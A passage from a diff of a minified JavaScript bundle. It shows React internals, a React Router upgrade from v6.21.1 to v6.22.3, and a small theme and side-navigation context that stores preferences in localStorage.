for(c=e;c!==null;){if(c===a){c=null;break}if(e=c.sibling,e!==null){e.return=c.return,c=e;break}c=c.return}e=c}rs(s,a,p.children,n),a=a.child}return a;case 9:return p=a.type,l=a.pendingProps.children,ln(a,n),p=fs(p),l=l(p),a.flags|=1,rs(s,a,l,n),a.child;case 14:return l=a.type,p=vs(l,a.pendingProps),p=vs(l.type,p),lo(s,a,l,p,n);case 15:return Wi(s,a,a.type,a.pendingProps,n);case 17:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),xl(s,a),a.tag=1,us(l)?(s=!0,sp(a)):s=!1,ln(a,n),si(a,l,p),Ue(a,l,p,n),Le(null,a,l,!0,s,n);case 19:return Yi(s,a,n);case 22:return Bi(s,a,n)}throw Error(w(156,a.tag))};function Ui(s,a){return Ar(s,a)}function KI(s,a,n,l){this.tag=s,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=a,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Gs(s,a,n,l){return new KI(s,a,n,l)}function st(s){return s=s.prototype,!(!s||!s.isReactComponent)}function SI(s){if(typeof s=="function")return st(s)?1:0;if(s!=null){if(s=s.$$typeof,s===yc)return 11;if(s===mc)return 14}return 2}function ja(s,a){var n=s.alternate;return n===null?(n=Gs(s.tag,a,s.key,s.mode),n.elementType=s.elementType,n.type=s.type,n.stateNode=s.stateNode,n.alternate=s,s.alternate=n):(n.pendingProps=a,n.type=s.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=s.flags&14680064,n.childLanes=s.childLanes,n.lanes=s.lanes,n.child=s.child,n.memoizedProps=s.memoizedProps,n.memoizedState=s.memoizedState,n.updateQueue=s.updateQueue,a=s.dependencies,n.dependencies=a===null?null:{lanes:a.lanes,firstContext:a.firstContext},n.sibling=s.sibling,n.index=s.index,n.ref=s.ref,n}function El(s,a,n,l,p,e){var c=2;if(l=s,typeof s=="function")st(s)&&(c=1);else if(typeof s=="string")c=5;else s:switch(s){case za:return Ya(n.children,p,e,a);case Ac:c=8,p|=8;break;case je:return s=Gs(12,n,a,p|2),s.elementType=je,s.lanes=e,s;case ue:return s=Gs(13,n,a,p),s.elementType=ue,s.lanes=e,s;case Ae:return s=Gs(19,n,a,p),s.elementType=Ae,s.lanes=e,s;case ar:return Gp(n,p,e,a);default:if(typeof s=="object"&&s!==null)switch(s.$$typeof){case qo:c=10;break s;case sr:c=9;break s;case yc:c=11;break s;case mc:c=14;break s;case na:c=16,l=null;break s}throw Error(w(130,s==null?s:typeof s,""))}return a=Gs(c,n,a,p),a.elementType=s,a.type=l,a.lanes=e,a}function Ya(s,a,n,l){return s=Gs(7,s,l,a),s.lanes=n,s}function Gp(s,a,n,l){return s=Gs(22,s,l,a),s.elementType=ar,s.lanes=n,s.stateNode={isHidden:!1},s}function re(s,a,n){return s=Gs(6,s,null,a),s.lanes=n,s}function ie(s,a,n){return a=Gs(4,s.children!==null?s.children:[],s.key,a),a.lanes=n,a.stateNode={containerInfo:s.containerInfo,pendingChildren:null,implementation:s.implementation},a}function MI(s,a,n,l,p){this.tag=a,this.containerInfo=s,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Dp(0),this.expirationTimes=Dp(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Dp(0),this.identifierPrefix=l,this.onRecoverableError=p,this.mutableSourceEagerHydrationData=null}function at(s,a,n,l,p,e,c,t,o){return s=new MI(s,a,n,t,o),a===1?(a=1,e===!0&&(a|=8)):a=0,e=Gs(3,null,null,a),s.current=e,e.stateNode=s,e.memoizedState={element:l,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Sc(e),s}function xI(s,a,n){var l=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Oi)}catch(s){console.error(s)}}Oi(),_o.exports=ks;var TI=_o.exports,Pi,$i,Ao=TI;$i=Ao.createRoot,Pi=Ao.hydrateRoot;const qi={theme:"light",sideNav:!0,initialized:!1},sg=B.createContext({state:qi,init:s=>{},setTheme:s=>{},toggleSideNav:()=>{}});function et(){return B.useContext(sg)}function yo(s,a){try{localStorage.setItem(s,a)}catch(n){console.error(n)}}const mo=({children:s})=>{const[a,n]=B.useState(qi);function l(t){t=="dark"?(document.body.classList.remove("light"),document.body.classList.add("dark")):(document.body.classList.remove("dark"),document.body.classList.add("light"))}function p(t){try{const o=localStorage.getItem("theme")||"light";let i=t.width>=500;{const I=localStorage.getItem("sideNav");I&&(i=I=="true")}l(o),n(I=>({...I,theme:o,sideNav:i}))}catch(o){console.error(o)}n(o=>({...o,initialized:!0}))}function e(t){l(t),n({...a,theme:t}),yo("theme",t)}function c(){const t=!a.sideNav;n({...a,sideNav:t}),yo("sideNav",t)}return r.jsx(sg.Provider,{value:B.useMemo(()=>({state:a,init:p,setTheme:e,toggleSideNav:c}),[a]),children:s})};/** + * @remix-run/router v1.15.3 * * Copyright (c) Remix Software Inc. * @@ -46,8 +46,8 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function pl(){return pl=Object.assign?Object.assign.bind():function(s){for(var a=1;a"u")throw new Error(a)}function ct(s,a){if(!s){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function Dd(){return Math.random().toString(36).substr(2,8)}function ko(s,a){return{usr:s.state,key:s.key,idx:a}}function tc(s,a,n,l){return n===void 0&&(n=null),pl({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof a=="string"?jn(a):a,{state:n,key:a&&a.key||l||Dd()})}function ng(s){let{pathname:a="/",search:n="",hash:l=""}=s;return n&&n!=="?"&&(a+=n.charAt(0)==="?"?n:"?"+n),l&&l!=="#"&&(a+=l.charAt(0)==="#"?l:"#"+l),a}function jn(s){let a={};if(s){let n=s.indexOf("#");n>=0&&(a.hash=s.substr(n),s=s.substr(0,n));let l=s.indexOf("?");l>=0&&(a.search=s.substr(l),s=s.substr(0,l)),s&&(a.pathname=s)}return a}function Ld(s,a,n,l){l===void 0&&(l={});let{window:p=document.defaultView,v5Compat:e=!1}=l,c=p.history,t=oa.Pop,o=null,i=d();i==null&&(i=0,c.replaceState(pl({},c.state,{idx:i}),""));function d(){return(c.state||{idx:null}).idx}function I(){t=oa.Pop;let G=d(),h=G==null?null:G-i;i=G,o&&o({action:t,location:b.location,delta:h})}function j(G,h){t=oa.Push;let g=tc(b.location,G,h);n&&n(g,G),i=d()+1;let C=ko(g,i),A=b.createHref(g);try{c.pushState(C,"",A)}catch(Z){if(Z instanceof DOMException&&Z.name==="DataCloneError")throw Z;p.location.assign(A)}e&&o&&o({action:t,location:b.location,delta:1})}function y(G,h){t=oa.Replace;let g=tc(b.location,G,h);n&&n(g,G),i=d();let C=ko(g,i),A=b.createHref(g);c.replaceState(C,"",A),e&&o&&o({action:t,location:b.location,delta:0})}function m(G){let h=p.location.origin!=="null"?p.location.origin:p.location.href,g=typeof G=="string"?G:ng(G);return P(h,"No window.location.(origin|href) available to create URL for href: "+g),new URL(g,h)}let b={get action(){return t},get location(){return s(p,c)},listen(G){if(o)throw new Error("A history only accepts one active listener");return p.addEventListener(wo,I),o=G,()=>{p.removeEventListener(wo,I),o=null}},createHref(G){return a(p,G)},createURL:m,encodeLocation(G){let h=m(G);return{pathname:h.pathname,search:h.search,hash:h.hash}},push:j,replace:y,go(G){return c.go(G)}};return b}var Zo;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(Zo||(Zo={}));function _d(s,a,n){n===void 0&&(n="/");let l=typeof a=="string"?jn(a):a,p=cg(l.pathname||"/",n);if(p==null)return null;let e=lg(s);Od(e);let c=null;for(let t=0;c==null&&t{let o={relativePath:t===void 0?e.path||"":t,caseSensitive:e.caseSensitive===!0,childrenIndex:c,route:e};o.relativePath.startsWith("/")&&(P(o.relativePath.startsWith(l),'Absolute route path "'+o.relativePath+'" nested under path '+('"'+l+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),o.relativePath=o.relativePath.slice(l.length));let i=Ra([l,o.relativePath]),d=n.concat(o);e.children&&e.children.length>0&&(P(e.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+i+'".')),lg(e.children,a,d,i)),!(e.path==null&&!e.index)&&a.push({path:i,score:lI(i,e.index),routesMeta:d})};return s.forEach((e,c)=>{var t;if(e.path===""||!((t=e.path)!=null&&t.includes("?")))p(e,c);else for(let o of pg(e.path))p(e,c,o)}),a}function pg(s){let a=s.split("/");if(a.length===0)return[];let[n,...l]=a,p=n.endsWith("?"),e=n.replace(/\?$/,"");if(l.length===0)return p?[e,""]:[e];let c=pg(l.join("/")),t=[];return t.push(...c.map(o=>o===""?e:[e,o].join("/"))),p&&t.push(...c),t.map(o=>s.startsWith("/")&&o===""?"/":o)}function Od(s){s.sort((a,n)=>a.score!==n.score?n.score-a.score:pI(a.routesMeta.map(l=>l.childrenIndex),n.routesMeta.map(l=>l.childrenIndex)))}const Pd=/^:\w+$/,$d=3,qd=2,sI=1,aI=10,nI=-2,Wo=s=>s==="*";function lI(s,a){let n=s.split("/"),l=n.length;return n.some(Wo)&&(l+=nI),a&&(l+=qd),n.filter(p=>!Wo(p)).reduce((p,e)=>p+(Pd.test(e)?$d:e===""?sI:aI),l)}function pI(s,a){return s.length===a.length&&s.slice(0,-1).every((l,p)=>l===a[p])?s[s.length-1]-a[a.length-1]:0}function eI(s,a){let{routesMeta:n}=s,l={},p="/",e=[];for(let c=0;c{let{paramName:j,isOptional:y}=d;if(j==="*"){let b=t[I]||"";c=e.slice(0,e.length-b.length).replace(/(.)\/+$/,"$1")}const m=t[I];return y&&!m?i[j]=void 0:i[j]=oI(m||"",j),i},{}),pathname:e,pathnameBase:c,pattern:s}}function cI(s,a,n){a===void 0&&(a=!1),n===void 0&&(n=!0),ct(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let l=[],p="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:(\w+)(\?)?/g,(c,t,o)=>(l.push({paramName:t,isOptional:o!=null}),o?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(l.push({paramName:"*"}),p+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?p+="\\/*$":s!==""&&s!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),l]}function tI(s){try{return decodeURI(s)}catch(a){return ct(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),s}}function oI(s,a){try{return decodeURIComponent(s)}catch(n){return ct(!1,'The value for the URL param "'+a+'" will not be decoded because'+(' the string "'+s+'" is a malformed URL segment. This is probably')+(" due to a bad percent encoding ("+n+").")),s}}function cg(s,a){if(a==="/")return s;if(!s.toLowerCase().startsWith(a.toLowerCase()))return null;let n=a.endsWith("/")?a.length-1:a.length,l=s.charAt(n);return l&&l!=="/"?null:s.slice(n)||"/"}function rI(s,a){a===void 0&&(a="/");let{pathname:n,search:l="",hash:p=""}=typeof s=="string"?jn(s):s;return{pathname:n?n.startsWith("/")?n:iI(n,a):a,search:CI(l),hash:jI(p)}}function iI(s,a){let n=a.replace(/\/+$/,"").split("/");return s.split("/").forEach(p=>{p===".."?n.length>1&&n.pop():p!=="."&&n.push(p)}),n.length>1?n.join("/"):"/"}function ge(s,a,n,l){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(l)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function gI(s){return s.filter((a,n)=>n===0||a.route.path&&a.route.path.length>0)}function hI(s,a){let n=gI(s);return a?n.map((l,p)=>p===s.length-1?l.pathname:l.pathnameBase):n.map(l=>l.pathnameBase)}function dI(s,a,n,l){l===void 0&&(l=!1);let p;typeof s=="string"?p=jn(s):(p=pl({},s),P(!p.pathname||!p.pathname.includes("?"),ge("?","pathname","search",p)),P(!p.pathname||!p.pathname.includes("#"),ge("#","pathname","hash",p)),P(!p.search||!p.search.includes("#"),ge("#","search","hash",p)));let e=s===""||p.pathname==="",c=e?"/":p.pathname,t;if(c==null)t=n;else{let I=a.length-1;if(!l&&c.startsWith("..")){let j=c.split("/");for(;j[0]==="..";)j.shift(),I-=1;p.pathname=j.join("/")}t=I>=0?a[I]:"/"}let o=rI(p,t),i=c&&c!=="/"&&c.endsWith("/"),d=(e||c===".")&&n.endsWith("/");return!o.pathname.endsWith("/")&&(i||d)&&(o.pathname+="/"),o}const Ra=s=>s.join("/").replace(/\/\/+/g,"/"),II=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),CI=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,jI=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function uI(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const tg=["post","put","patch","delete"];new Set(tg);const yI=["get",...tg];new Set(yI);/** - * React Router v6.21.1 + */function pl(){return pl=Object.assign?Object.assign.bind():function(s){for(var a=1;a"u")throw new Error(a)}function ag(s,a){if(!s){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function QI(){return Math.random().toString(36).substr(2,8)}function wo(s,a){return{usr:s.state,key:s.key,idx:a}}function tc(s,a,n,l){return n===void 0&&(n=null),pl({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof a=="string"?jn(a):a,{state:n,key:a&&a.key||l||QI()})}function ng(s){let{pathname:a="/",search:n="",hash:l=""}=s;return n&&n!=="?"&&(a+=n.charAt(0)==="?"?n:"?"+n),l&&l!=="#"&&(a+=l.charAt(0)==="#"?l:"#"+l),a}function jn(s){let a={};if(s){let n=s.indexOf("#");n>=0&&(a.hash=s.substr(n),s=s.substr(0,n));let l=s.indexOf("?");l>=0&&(a.search=s.substr(l),s=s.substr(0,l)),s&&(a.pathname=s)}return a}function _I(s,a,n,l){l===void 0&&(l={});let{window:p=document.defaultView,v5Compat:e=!1}=l,c=p.history,t=oa.Pop,o=null,i=I();i==null&&(i=0,c.replaceState(pl({},c.state,{idx:i}),""));function I(){return(c.state||{idx:null}).idx}function d(){t=oa.Pop;let Z=I(),h=Z==null?null:Z-i;i=Z,o&&o({action:t,location:b.location,delta:h})}function j(Z,h){t=oa.Push;let g=tc(b.location,Z,h);n&&n(g,Z),i=I()+1;let C=wo(g,i),y=b.createHref(g);try{c.pushState(C,"",y)}catch(W){if(W instanceof DOMException&&W.name==="DataCloneError")throw W;p.location.assign(y)}e&&o&&o({action:t,location:b.location,delta:1})}function A(Z,h){t=oa.Replace;let g=tc(b.location,Z,h);n&&n(g,Z),i=I();let C=wo(g,i),y=b.createHref(g);c.replaceState(C,"",y),e&&o&&o({action:t,location:b.location,delta:0})}function m(Z){let h=p.location.origin!=="null"?p.location.origin:p.location.href,g=typeof Z=="string"?Z:ng(Z);return g=g.replace(/ $/,"%20"),P(h,"No window.location.(origin|href) available to create URL for href: "+g),new URL(g,h)}let b={get action(){return t},get location(){return s(p,c)},listen(Z){if(o)throw new Error("A history only accepts one active listener");return p.addEventListener(bo,d),o=Z,()=>{p.removeEventListener(bo,d),o=null}},createHref(Z){return a(p,Z)},createURL:m,encodeLocation(Z){let h=m(Z);return{pathname:h.pathname,search:h.search,hash:h.hash}},push:j,replace:A,go(Z){return c.go(Z)}};return b}var ko;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(ko||(ko={}));function LI(s,a,n){n===void 0&&(n="/");let l=typeof a=="string"?jn(a):a,p=cg(l.pathname||"/",n);if(p==null)return null;let e=lg(s);OI(e);let c=null;for(let t=0;c==null&&t{let o={relativePath:t===void 0?e.path||"":t,caseSensitive:e.caseSensitive===!0,childrenIndex:c,route:e};o.relativePath.startsWith("/")&&(P(o.relativePath.startsWith(l),'Absolute route path "'+o.relativePath+'" nested under path '+('"'+l+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),o.relativePath=o.relativePath.slice(l.length));let i=Ra([l,o.relativePath]),I=n.concat(o);e.children&&e.children.length>0&&(P(e.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+i+'".')),lg(e.children,a,I,i)),!(e.path==null&&!e.index)&&a.push({path:i,score:ld(i,e.index),routesMeta:I})};return s.forEach((e,c)=>{var t;if(e.path===""||!((t=e.path)!=null&&t.includes("?")))p(e,c);else for(let o of pg(e.path))p(e,c,o)}),a}function pg(s){let a=s.split("/");if(a.length===0)return[];let[n,...l]=a,p=n.endsWith("?"),e=n.replace(/\?$/,"");if(l.length===0)return p?[e,""]:[e];let c=pg(l.join("/")),t=[];return t.push(...c.map(o=>o===""?e:[e,o].join("/"))),p&&t.push(...c),t.map(o=>s.startsWith("/")&&o===""?"/":o)}function OI(s){s.sort((a,n)=>a.score!==n.score?n.score-a.score:pd(a.routesMeta.map(l=>l.childrenIndex),n.routesMeta.map(l=>l.childrenIndex)))}const PI=/^:[\w-]+$/,$I=3,qI=2,sd=1,ad=10,nd=-2,Zo=s=>s==="*";function ld(s,a){let n=s.split("/"),l=n.length;return n.some(Zo)&&(l+=nd),a&&(l+=qI),n.filter(p=>!Zo(p)).reduce((p,e)=>p+(PI.test(e)?$I:e===""?sd:ad),l)}function pd(s,a){return s.length===a.length&&s.slice(0,-1).every((l,p)=>l===a[p])?s[s.length-1]-a[a.length-1]:0}function ed(s,a){let{routesMeta:n}=s,l={},p="/",e=[];for(let c=0;c{let{paramName:j,isOptional:A}=I;if(j==="*"){let b=t[d]||"";c=e.slice(0,e.length-b.length).replace(/(.)\/+$/,"$1")}const m=t[d];return A&&!m?i[j]=void 0:i[j]=(m||"").replace(/%2F/g,"/"),i},{}),pathname:e,pathnameBase:c,pattern:s}}function cd(s,a,n){a===void 0&&(a=!1),n===void 0&&(n=!0),ag(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let l=[],p="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(c,t,o)=>(l.push({paramName:t,isOptional:o!=null}),o?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(l.push({paramName:"*"}),p+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?p+="\\/*$":s!==""&&s!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),l]}function td(s){try{return s.split("/").map(a=>decodeURIComponent(a).replace(/\//g,"%2F")).join("/")}catch(a){return ag(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),s}}function cg(s,a){if(a==="/")return s;if(!s.toLowerCase().startsWith(a.toLowerCase()))return null;let n=a.endsWith("/")?a.length-1:a.length,l=s.charAt(n);return l&&l!=="/"?null:s.slice(n)||"/"}function od(s,a){a===void 0&&(a="/");let{pathname:n,search:l="",hash:p=""}=typeof s=="string"?jn(s):s;return{pathname:n?n.startsWith("/")?n:rd(n,a):a,search:dd(l),hash:Cd(p)}}function rd(s,a){let n=a.replace(/\/+$/,"").split("/");return s.split("/").forEach(p=>{p===".."?n.length>1&&n.pop():p!=="."&&n.push(p)}),n.length>1?n.join("/"):"/"}function ge(s,a,n,l){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(l)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function id(s){return s.filter((a,n)=>n===0||a.route.path&&a.route.path.length>0)}function gd(s,a){let n=id(s);return a?n.map((l,p)=>p===s.length-1?l.pathname:l.pathnameBase):n.map(l=>l.pathnameBase)}function hd(s,a,n,l){l===void 0&&(l=!1);let p;typeof s=="string"?p=jn(s):(p=pl({},s),P(!p.pathname||!p.pathname.includes("?"),ge("?","pathname","search",p)),P(!p.pathname||!p.pathname.includes("#"),ge("#","pathname","hash",p)),P(!p.search||!p.search.includes("#"),ge("#","search","hash",p)));let e=s===""||p.pathname==="",c=e?"/":p.pathname,t;if(c==null)t=n;else{let d=a.length-1;if(!l&&c.startsWith("..")){let j=c.split("/");for(;j[0]==="..";)j.shift(),d-=1;p.pathname=j.join("/")}t=d>=0?a[d]:"/"}let o=od(p,t),i=c&&c!=="/"&&c.endsWith("/"),I=(e||c===".")&&n.endsWith("/");return!o.pathname.endsWith("/")&&(i||I)&&(o.pathname+="/"),o}const Ra=s=>s.join("/").replace(/\/\/+/g,"/"),Id=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),dd=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,Cd=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function jd(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const tg=["post","put","patch","delete"];new Set(tg);const ud=["get",...tg];new Set(ud);/** + * React Router v6.22.3 * * Copyright (c) Remix Software Inc. * @@ -55,8 +55,8 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function el(){return el=Object.assign?Object.assign.bind():function(s){for(var a=1;a{t.current=!0}),W.useCallback(function(i,d){if(d===void 0&&(d={}),!t.current)return;if(typeof i=="number"){l.go(i);return}let I=dI(i,JSON.parse(c),e,d.relative==="path");s==null&&a!=="/"&&(I.pathname=I.pathname==="/"?a:Ra([a,I.pathname])),(d.replace?l.replace:l.push)(I,d.state,d)},[a,l,c,e,s])}function wI(s,a){return kI(s,a)}function kI(s,a,n,l){Np()||P(!1);let{navigator:p}=W.useContext(Xp),{matches:e}=W.useContext(un),c=e[e.length-1],t=c?c.params:{};c&&c.pathname;let o=c?c.pathnameBase:"/";c&&c.route;let i=Hp(),d;if(a){var I;let G=typeof a=="string"?jn(a):a;o==="/"||(I=G.pathname)!=null&&I.startsWith(o)||P(!1),d=G}else d=i;let j=d.pathname||"/",y=o==="/"?j:j.slice(o.length)||"/",m=_d(s,{pathname:y}),b=VI(m&&m.map(G=>Object.assign({},G,{params:Object.assign({},t,G.params),pathname:Ra([o,p.encodeLocation?p.encodeLocation(G.pathname).pathname:G.pathname]),pathnameBase:G.pathnameBase==="/"?o:Ra([o,p.encodeLocation?p.encodeLocation(G.pathnameBase).pathname:G.pathnameBase])})),e,n,l);return a&&b?W.createElement(vp.Provider,{value:{location:el({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:oa.Pop}},b):b}function ZI(){let s=XI(),a=uI(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return W.createElement(W.Fragment,null,W.createElement("h2",null,"Unexpected Application Error!"),W.createElement("h3",{style:{fontStyle:"italic"}},a),n?W.createElement("pre",{style:p},n):null,null)}const WI=W.createElement(ZI,null);class GI extends W.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,n){return n.location!==a.location||n.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:n.error,location:n.location,revalidation:a.revalidation||n.revalidation}}componentDidCatch(a,n){console.error("React Router caught the following error during render",a,n)}render(){return this.state.error!==void 0?W.createElement(un.Provider,{value:this.props.routeContext},W.createElement(og.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function BI(s){let{routeContext:a,match:n,children:l}=s,p=W.useContext(tt);return p&&p.static&&p.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=n.route.id),W.createElement(un.Provider,{value:a},l)}function VI(s,a,n,l){var p;if(a===void 0&&(a=[]),n===void 0&&(n=null),l===void 0&&(l=null),s==null){var e;if((e=n)!=null&&e.errors)s=n.matches;else return null}let c=s,t=(p=n)==null?void 0:p.errors;if(t!=null){let d=c.findIndex(I=>I.route.id&&(t==null?void 0:t[I.route.id]));d>=0||P(!1),c=c.slice(0,Math.min(c.length,d+1))}let o=!1,i=-1;if(n&&l&&l.v7_partialHydration)for(let d=0;d=0?c=c.slice(0,i+1):c=[c[0]];break}}}return c.reduceRight((d,I,j)=>{let y,m=!1,b=null,G=null;n&&(y=t&&I.route.id?t[I.route.id]:void 0,b=I.route.errorElement||WI,o&&(i<0&&j===0?(NI("route-fallback",!1),m=!0,G=null):i===j&&(m=!0,G=I.route.hydrateFallbackElement||null)));let h=a.concat(c.slice(0,j+1)),g=()=>{let C;return y?C=b:m?C=G:I.route.Component?C=W.createElement(I.route.Component,null):I.route.element?C=I.route.element:C=d,W.createElement(BI,{match:I,routeContext:{outlet:d,matches:h,isDataRoute:n!=null},children:C})};return n&&(I.route.ErrorBoundary||I.route.errorElement||j===0)?W.createElement(GI,{location:n.location,revalidation:n.revalidation,component:b,error:y,children:g(),routeContext:{outlet:null,matches:h,isDataRoute:!0}}):g()},null)}var ig=function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s}(ig||{}),Ip=function(s){return s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s}(Ip||{});function fI(s){let a=W.useContext(tt);return a||P(!1),a}function YI(s){let a=W.useContext(AI);return a||P(!1),a}function RI(s){let a=W.useContext(un);return a||P(!1),a}function gg(s){let a=RI(),n=a.matches[a.matches.length-1];return n.route.id||P(!1),n.route.id}function XI(){var s;let a=W.useContext(og),n=YI(Ip.UseRouteError),l=gg(Ip.UseRouteError);return a!==void 0?a:(s=n.errors)==null?void 0:s[l]}function vI(){let{router:s}=fI(ig.UseNavigateStable),a=gg(Ip.UseNavigateStable),n=W.useRef(!1);return rg(()=>{n.current=!0}),W.useCallback(function(p,e){e===void 0&&(e={}),n.current&&(typeof p=="number"?s.navigate(p):s.navigate(p,el({fromRouteId:a},e)))},[s,a])}const Go={};function NI(s,a,n){!a&&!Go[s]&&(Go[s]=!0)}function hg(s){P(!1)}function HI(s){let{basename:a="/",children:n=null,location:l,navigationType:p=oa.Pop,navigator:e,static:c=!1,future:t}=s;Np()&&P(!1);let o=a.replace(/^\/*/,"/"),i=W.useMemo(()=>({basename:o,navigator:e,static:c,future:el({v7_relativeSplatPath:!1},t)}),[o,t,e,c]);typeof l=="string"&&(l=jn(l));let{pathname:d="/",search:I="",hash:j="",state:y=null,key:m="default"}=l,b=W.useMemo(()=>{let G=cg(d,o);return G==null?null:{location:{pathname:G,search:I,hash:j,state:y,key:m},navigationType:p}},[o,d,I,j,y,m,p]);return b==null?null:W.createElement(Xp.Provider,{value:i},W.createElement(vp.Provider,{children:n,value:b}))}function FI(s){let{children:a,location:n}=s;return wI(oc(a),n)}new Promise(()=>{});function oc(s,a){a===void 0&&(a=[]);let n=[];return W.Children.forEach(s,(l,p)=>{if(!W.isValidElement(l))return;let e=[...a,p];if(l.type===W.Fragment){n.push.apply(n,oc(l.props.children,e));return}l.type!==hg&&P(!1),!l.props.index||!l.props.children||P(!1);let c={id:l.props.id||e.join("-"),caseSensitive:l.props.caseSensitive,element:l.props.element,Component:l.props.Component,index:l.props.index,path:l.props.path,loader:l.props.loader,action:l.props.action,errorElement:l.props.errorElement,ErrorBoundary:l.props.ErrorBoundary,hasErrorBoundary:l.props.ErrorBoundary!=null||l.props.errorElement!=null,shouldRevalidate:l.props.shouldRevalidate,handle:l.props.handle,lazy:l.props.lazy};l.props.children&&(c.children=oc(l.props.children,e)),n.push(c)}),n}/** - * React Router DOM v6.21.1 + */function el(){return el=Object.assign?Object.assign.bind():function(s){for(var a=1;a{t.current=!0}),B.useCallback(function(i,I){if(I===void 0&&(I={}),!t.current)return;if(typeof i=="number"){l.go(i);return}let d=hd(i,JSON.parse(c),e,I.relative==="path");s==null&&a!=="/"&&(d.pathname=d.pathname==="/"?a:Ra([a,d.pathname])),(I.replace?l.replace:l.push)(d,I.state,I)},[a,l,c,e,s])}function bd(s,a){return wd(s,a)}function wd(s,a,n,l){Np()||P(!1);let{navigator:p}=B.useContext(Xp),{matches:e}=B.useContext(un),c=e[e.length-1],t=c?c.params:{};c&&c.pathname;let o=c?c.pathnameBase:"/";c&&c.route;let i=Hp(),I;if(a){var d;let Z=typeof a=="string"?jn(a):a;o==="/"||(d=Z.pathname)!=null&&d.startsWith(o)||P(!1),I=Z}else I=i;let 